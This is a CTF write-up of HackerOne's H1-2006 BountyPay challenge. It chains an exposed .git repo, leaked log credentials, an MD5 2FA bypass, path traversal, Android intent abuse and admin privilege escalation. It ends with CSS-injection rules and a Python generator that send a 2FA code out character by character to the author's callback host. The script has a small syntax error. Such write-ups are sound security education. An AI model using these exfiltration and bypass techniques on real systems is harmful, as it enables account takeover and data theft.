[H1-2006 2020] CTF Writeup!
Critical
H
h1-ctf
Submitted None
Actions:
Reported by
sw33tlie
Vulnerability Details
Technical details and impact analysis
The Beginning
=====================
The scope of the H1-2006 CTF was `*.bountypay.h1ctf.com`.
After opening `https://bountypay.h1ctf.com`, I noticed that on the top left of the screen there was a dropdown with two login pages: one for Customers (`https://app.bountypay.h1ctf.com/`) and one for Staff (`https://staff.bountypay.h1ctf.com/`).
I used [ffuf](https://github.com/ffuf/ffuf) with [the fuzz.txt wordlist by Bo0oM](https://github.com/Bo0oM/fuzz.txt/blob/master/fuzz.txt) to quickly enumerate files and folders on the first subdomain:
```
ffuf -c -w ~/wordlists/fuzz.txt -u https://app.bountypay.h1ctf.com/FUZZ
```
When it finished I noticed that there was a `.git` folder...interesting!
The exposed .git repo
=====================
{F852139}
The best way to get all files out of a .git repository is by using a script like gitdumper.sh from [GitTools](https://github.com/internetwache/GitTools/tree/master/Dumper)...so I run the following command:
```bash
./gitdumper.sh https://app.bountypay.h1ctf.com/.git/ app
```
The app/.git/config file looked like this:
```
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/bounty-pay-code/request-logger.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
```
At this point I tried to open `https://github.com/bounty-pay-code/request-logger.git` in my browser and that GitHub repo was not private!
I found the source code of `logger.php`:
```
<?php
$data = array(
'IP' => $_SERVER["REMOTE_ADDR"],
'URI' => $_SERVER["REQUEST_URI"],
'METHOD' => $_SERVER["REQUEST_METHOD"],
'PARAMS' => array(
'GET' => $_GET,
'POST' => $_POST
)
);
file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
```
The log file
=====================
I quickly checked if `bp_web_trace.log` existed at`https://app.bountypay.h1ctf.com/bp_web_trace.log` and sure thing it did!
This was its content:
```
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
```
From the PHP source code, I knew these were UNIX timestamps + base64 encoded strings.
After decoding them, this is what I got:
```
05/08/2020 @ 9:58am:{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
05/08/2020 @ 9:58am:{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
05/08/2020 @ 9:58am:{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
05/08/2020 @ 9:59am:{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
```
At this point, I had a username, a password, a challenge_answer, and a few other things!
I tried to log in with those credentials at `https://app.bountypay.h1ctf.com/`:
{F852142}
And it worked, sort of!
There was a 2-factor authentication in place.
I tried to use the challenge_answer code that I got before but it didn't work.
{F852143}
After analyzing the HTTP request with Burp Suite:
```http
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: https://app.bountypay.h1ctf.com
Connection: close
Referer: https://app.bountypay.h1ctf.com/
Upgrade-Insecure-Requests: 1
username=brian.oliver&password=V7h0inzX&challenge=f72a37dc583456150a13bd8b3b19433d&challenge_answer=letmein
```
...I noticed that there was a `challenge` parameter that looked like an MD5 hash.
To log in successfully, I tried to encode as MD5 the text I wrote (in my case, the word `letmein`) and then I replaced the `challenge` parameter with it (`0d107d09f5bbe40cade3de5c71e9e9b7`)...it worked!
The BountyPay dashboard
=====================
At this point, I saw this dashboard:
{F852144}
The load transactions button was useless: I couldn't get any info no matter what month/year I selected.
After a further look, i noticed that the `token` cookie for that webpage was actually a base64 encoded string:
```http
GET / HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://bountypay.h1ctf.com/
Connection: close
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```
When I decoded it, I got a JSON string:
```json
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}
```
After playing a bit more with this, I realized that by leveraging the account_id it was possible to achieve a path traversal.
A rabbit hole
=====================
Now that I had a path traversal, what could I do with it?
I literally had no idea, so I tried to brute-force some subdomains.
To do so, I used [zdns](https://github.com/zmap/zdns), [subgen](https://github.com/pry0cc/subgen) and [shubs-subdomains.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/shubs-subdomains.txt) :
```bash
cat ~/SecLists/Discovery/DNS/shubs-subdomains.txt | subgen -d bountypay.h1ctf.com | zdns A --name-servers 1.1.1.1 --threads 500 | jq -r "select(.data.answers[0].name) | .name"
bountypay.h1ctf.com
app.bountypay.h1ctf.com
staff.bountypay.h1ctf.com
www.bountypay.h1ctf.com
api.bountypay.h1ctf.com
software.bountypay.h1ctf.com
```
Do you see that `software.bountypay.h1ctf.com`? That was new to me as well...I tried to open it but I was getting a `401 Unauthorized`.
What if I opened it by leveraging the path traversal I found before?
That worked, and I could see the HTML of that webpage in the response:
```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 01 Jun 2020 20:28:45 GMT
Content-Type: application/json
Connection: close
Content-Length: 1605
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/#\/statements?month=01&year=2020","data":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>Software Storage<\/title>\n <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n\n<div class=\"container\">\n <div class=\"row\">\n <div class=\"col-sm-6 col-sm-offset-3\">\n <h1 style=\"text-align: center\">Software Storage<\/h1>\n <form method=\"post\" action=\"\/\">\n <div class=\"panel panel-default\" style=\"margin-top:50px\">\n <div class=\"panel-heading\">Login<\/div>\n <div class=\"panel-body\">\n <div style=\"margin-top:7px\"><label>Username:<\/label><\/div>\n <div><input name=\"username\" class=\"form-control\"><\/div>\n <div style=\"margin-top:7px\"><label>Password:<\/label><\/div>\n <div><input name=\"password\" type=\"password\" class=\"form-control\"><\/div>\n <\/div>\n <\/div>\n <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n <\/form>\n <\/div>\n <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>"}
```
That page was a login area for something related to "Software Storage"...unfortunately, I couldn't figure out how to actually log in as it required a POST request that I was not able to send.
After spending way too much time on this, I decided to let it go and started looking at something else.
The right guess
=====================
I wanted to check if on `software.bountypay.h1ctf.com` there were more things other than its main page.
I was ready to start fuzzing with ffuf again for new paths, but before doing that I tried to visit `/uploads` manually and surprisingly enough that existed!
I encoded this json string:
```json
{"account_id":"../../redirect?url=https:\/\/software.bountypay.h1ctf.com/uploads#","hash":"de235bffd23df6995ad4e0930baac1a2"}
```
and I sent it to the server with the usual method to bypass the 401 error.
This was the server response:
```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 01 Jun 2020 20:44:54 GMT
Content-Type: application/json
Connection: close
Content-Length: 489
{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/uploads#\/statements?month=01&year=2020","data":"<html>\n<head><title>Index of \/uploads\/<\/title><\/head>\n<body bgcolor=\"white\">\n<h1>Index of \/uploads\/<\/h1><hr><pre><a href=\"..\/\">..\/<\/a>\n<a href=\"\/uploads\/BountyPay.apk\">BountyPay.apk<\/a> 20-Apr-2020 11:26 4043701\n<\/pre><hr><\/body>\n<\/html>\n"}
```
By reading that HTML source, which was listing the files in the /uploads directory, I got to know that there was a BountyPay.apk on the server!
This time I was able to download it directly as it was not giving me a 401: `https://software.bountypay.h1ctf.com/uploads/BountyPay.apk`
Say hi to Android!
=====================
This is where things got interesting.
The `BountyPay.apk` appeared to be a native Android application aka Java was involved.
I used [jadx-gui](https://github.com/skylot/jadx) to decompile it and after doing so I was able to read its source code.
After a quick look it appeared that [Android Intents](https://developer.android.com/reference/android/content/Intent) were being used.
The best way to trigger intents for this purpose was using [ADB](https://developer.android.com/studio/command-line/adb)...doing so, I was able to complete all the 3 parts of the Android challenge.
{F852373}
After a code review, I realized that I had to run the following ADB commands to trigger the right intents:
```shell
$ adb shell
$ am start -a android.intent.action.VIEW -d "one://part?start=PartTwoActivity" -n bounty.pay/.PartOneActivity
$ am start -a android.intent.action.VIEW -d "two://part?two=light&switch=on" -n bounty.pay/.PartTwoActivity
[ I wrote "X-Token" in the text field that just appeared ]
$ am start -a android.intent.action.VIEW -d "three://part?three=UGFydFRocmVlQWN0aXZpdHk=&switch=b24=&header=X-Token" -n bounty.pay/.PartThreeActivity
[ A new text field appeared ]
$ adb shell cat ./data/data/bounty.pay/shared_prefs/user_created.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="USERNAME">sw33tLie</string>
<string name="PARTTWO">COMPLETE</string>
<string name="HOST">http://api.bountypay.h1ctf.com</string>
<string name="PARTONE">COMPLETE</string>
<string name="TWITTERHANDLE">sw33tLie</string>
<string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string>
</map>
[ I wrote the token in the new text field ]
[ Challenge completed! ]
```
Here's a picture showing all the important screenshots of the three activities:
{F852378}
As you can see, with the last ADB shell command I printed the shared preferences of the BountyPay app where I had a token (to run that command, a rooted device/emulator was needed, although there are other ways to do the same thing without that).
I pasted `8e9998ee3137ca9ade8f372739f062c1` into the text field that had appeared and I got that sweet screen saying I had completed the Android part of this CTF!
Note on the Android challenge
---------------------
As you can see, the three intents I called above made the app follow a specific code flow that would have not been triggered without them.
I'm sure there were other ways to solve this challenge, such as patching the SMALI code to call the right things, and then reinstalling the apk...but this is neither easy nor fast :)
So I did it...but what's next??
=====================
I had no idea, once again...but well, I had a token and tokens are supposed to be used somewhere.
Do you remember those subdomains that I found with zdns?
One of them was a REST API, `https://api.bountypay.h1ctf.com/`.
I started fuzzing for endpoints using ffuf and I came across `/api/staff`.
I tried to send a POST request to it, using the token as value of the `X-Token` header:
```http
GET /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Cache-Control: max-age=0
```
Got this as response:
```http
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 30 May 2020 20:50:30 GMT
Content-Type: application/json
Connection: close
Content-Length: 104
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
```
Cool, we had a few staff ids...now what?
The Hint
=====================
Luckily a hint from [Twitter](https://twitter.com/SandraA76708114/status/1258693001964068864) came handy:
{F852391}
I believe there were other methods to get that ID but I guess CTFs can be solved in different ways...this was the OSINT way, if you like it :)
Then I tried to send this request, after a few failed attempts:
```http
POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
staff_id=STF:8FJ3KFISL3
```
...and got this JSON response:
```http
HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 02 Jun 2020 12:08:04 GMT
Content-Type: application/json
Connection: close
Content-Length: 110
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
```
So I had the login details of a staff member!
I quickly tried to log in at `https://staff.bountypay.h1ctf.com`...it worked and I was redirected to `https://staff.bountypay.h1ctf.com/?template=home`:
{F852397}
What to do now?
I noticed this dashboard had a bunch of features.
There was a page where I could see a demo support ticket sent by an admin, but I was not able to reply:
{F852400}
...and a page where I was able to set my profile name and choose my current avatar:
{F852401}
No file upload, though!
On the bottom of every page there was a "Report this Page" link that if clicked made my browser send an HTTP request like this one:
```http
GET /admin/report?url=Lz90ZW1wbGF0ZT1ob21l HTTP/1.1
Host: staff.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://staff.bountypay.h1ctf.com/?template=home
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRFYrV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hqTzFPaWQ0bDA0M2xZdXozYkJqRURhdXczckZGTWlCSGtVR3lDU3FycUZGUjY0QXNHOTMvd3J2VlVKUDV6N3ErVU9SK3Rlc3FMYXYvSFVSRlVnNXZ6MGFkMVpiYTE3UT09
```
Note that the `url` parameter is a base64 encoded string that when decoded becomes `/?template=home`
This was the only javascript code running on the website:
```javascript
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
}), $(".tab").click(function() {
return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}), $(".sendReport").click(function() {
$.get("/admin/report?url=" + url, function() {
alert("Report sent to admin team")
}), $("#myModal").modal("hide")
}), document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"));
```
My account was not an admin but, from this code, I saw that there was a feature used by admins to upgrade other accounts.
I needed to become an admin!
The first thing that I did was changing my profile picture. An usual request looked like this:
```http
POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: https://staff.bountypay.h1ctf.com
Connection: close
Referer: https://staff.bountypay.h1ctf.com/?template=home
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRFYrV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hqTzFPaWQ0bDA0M2xZdXozYkJqRURhdXczckZGTWlCSGtVR3lDU3FycUZGUjY0QXNHOTMvd3J2VlVKUDV6N3ErVU9SK3Rlc3FMYXYvSFVSRlVnNXZ6MGFkMVpiYTE3UT09
Upgrade-Insecure-Requests: 1
profile_name=sandra&profile_avatar=avatar2
```
I figured out that I needed to change the profile_avatar parameter to `tab3+upgradeToAdmin`.
This was required because in the Support Tickets page my avatar was shown using the `profile_avatar` value as a CSS class.
Remember the `Report This Page` request?
I encoded to base64 this string: `/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab3` and then sent this HTTP request:
```http
GET /admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyI3RhYjM= HTTP/1.1
Host: staff.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://staff.bountypay.h1ctf.com/?template=home
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRFYrV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hqTzFPaWQ0bDA0M2xZdXozYkJqRURhdXczckZGTWlCSGtVR3lDU3FycUZGUjY0QXNHOTMvd3J2VlVKUDV6N3ErVU9SK3Rlc3FMYXYvSFVSRlVnNXZ6MGFkMVpiYTE3UT09
```
At this point, I made an admin upgrade my account!
A new tab showed up in my dashboard:
{F852405}
So now I knew that the user `marten.mickos` existed and its password was `h&H5wy2Lggj*kKn4OD&Ype`!
These credentials worked on `https://app.bountypay.h1ctf.com`: I had to use the MD5 trick again to bypass the 2FA as explained before.
A new 2FA
=====================
I had already seen this dashboard, but this time it was not all empty.
After selecting May 2020 as date, I saw this:
{F852406}
So I clicked pay and a new 2FA challenge appeared:
{F852407}
This one was different and looked harder to bypass.
After clicking `Send Challenge` a request like this was sent:
```http
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Origin: https://app.bountypay.h1ctf.com
Connection: close
Referer: https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9
Upgrade-Insecure-Requests: 1
app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
```
Seeing that css file, I thought I might have been able to [exfiltrate the code via CSS injection](https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense), so I tried that.
After many attempts, it turned out that the code I needed was in an input field.
To figure out its name, i used many CSS rules like this (hosted on a server that I own):
```css
input[name^=a] ~ *{
background-image: url(https://mycollaboratordomain.net/char_1/a);
}
```
The whole file was made by repeating that for all characters (a-zA-Z).
With this method I was able to figure out what the first character of the input name was (c), as I got a callback on mycollaboratordomain.net with the correct character as path...I just had to repeat it for the second character and so on...
```css
input[name^=ca] ~ *{
background-image: url(https://mycollaboratordomain.net/char_2/a);
}
```
It turned out that there were many input fields, one for each character of the code...and their names were ranging from `code_1` to `code_6`.
At this point I made a new css file by repeating this CSS rule for all the input codes and all the characters (a-zA-Z):
```css
input[name=code_1][value^=$a] ~ *{
background-image: url("https://mycollaboratordomain.net/code_1/$a");
}
```
I made a quick, ugly, python3 script to generate it:
```python
import string
def get_css_rule(id, char):
return "input[name=" + str(id) + "][value=" + str(char) + "] ~ *{\n background-image: url(https://mycollaboratordomain.net/" + str(id) + "/" + str(char) + ");\n}\n"
with open("uni_2fa_style.css", "a") as css_file:
codes = ['code_1', 'code_2', 'code_3', 'code_4', 'code_5', 'code_6']
chars = list(string.ascii_uppercase) + list(string.ascii_lowercase)
for code in codes:
for char in chars
css_file.write(get_css_rule(code, char))
```
After sending the 2FA code request and writing the CSS URL of my own custom file instead of the original `app_style=https://www.bountypay.h1ctf.com/css/uni_2fa_style.css`, I got all the callbacks that I needed to figure out the 2FA code...or at least I thought so...the code was not valid!
Brute-forcing to the rescue
=====================
After a further look, It appeared that the 2FA code was 7 characters long (I assumed that from the `maxlength="7"` html attrubute of the page where I was supposed to input it).
So we were missing the last character...maybe?
No problem, I only had to bruteforce it with Burp Suite's Intruder!
Here's the flag, `^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$`!
{F852419}
This was a really nice CTF and I had a lot of fun (and headaches) playing it...thank you, [@adamtlangley](https://twitter.com/adamtlangley) and [@B3nac](https://twitter.com/B3nac)!
## Impact
_
Report Details
Additional information and metadata
State
Closed
Substate
Resolved